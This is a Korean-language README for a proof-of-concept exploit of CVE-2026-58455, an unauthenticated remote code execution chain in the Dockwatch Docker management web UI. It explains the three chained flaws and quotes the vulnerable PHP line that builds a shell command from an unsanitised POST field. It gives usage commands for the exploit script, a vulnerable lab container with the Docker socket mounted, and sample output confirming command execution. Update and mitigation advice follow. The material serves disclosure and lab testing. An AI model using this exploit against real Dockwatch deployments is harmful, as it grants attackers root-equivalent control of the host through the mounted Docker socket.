
CVE-2026-58455 PoC: Dockwatch <=0.6.567 비인증 RCE. Python 표준 라이브러리만 사용.
CVE-2026-58455에 대한 개념 증명(PoC): Dockwatch(Notifiarr 제작)에서 발생하는 비인증 원격 코드 실행. Dockwatch는 자체 호스팅 Docker 컨테이너 관리 웹 UI입니다. 0.6.567까지의 모든 버전에 영향을 줍니다.
세 가지 결함이 연쇄적으로 결합됩니다:
GET /includes/header.php는 모든 방문자에 대해 $_SESSION['IN_DOCKWATCH'] = true;를 실행합니다. AJAX 계층(ajax/shared.php)은 이 플래그만 확인합니다.exit() 누락 — loader.php는 $_SESSION['authenticated']가 false일 때 Location: login.php 헤더를 보내지만 실행을 종료하지 않으므로 요청의 나머지 부분이 계속 실행됩니다.ajax/compose.php(m=composePull)는 소독되지 않은 입력으로 셸 명령을 구성합니다:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
연쇄 효과: 인증되지 않은 원격 공격자가 컨테이너 내부의 웹 서버 사용자 권한으로 임의의 OS 명령을 실행할 수 있습니다. 일반적인 배포에서는 /var/run/docker.sock을 컨테이너에 마운트하므로 → 호스트의 root와 동일한 권한이 됩니다.
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
Python 3 표준 라이브러리만 사용합니다.
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
Dockwatch를 0.6.567보다 최신 버전으로 업데이트하세요. 완화 조치로, Dockwatch를 신뢰할 수 없는 네트워크에 노출하지 말고 필요하지 않다면 Docker 소켓 바인드를 제거하세요.
승인된 보안 연구 및 실습 환경에서만 사용하세요.